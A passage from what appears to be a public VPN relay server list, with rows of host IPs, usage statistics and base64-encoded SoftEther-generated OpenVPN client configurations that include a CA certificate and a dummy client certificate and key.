RkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMTEuMjUxLjIyNC41MSA5OTUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn945893058,59.138.139.69,762321,2,1785847105,Japan,JP,106,82061195,1026238,257101810697906,2weeks,DESKTOP-49OC2LF's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSA1OS4xMzguMTM5LjY5IDEyNDINCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkM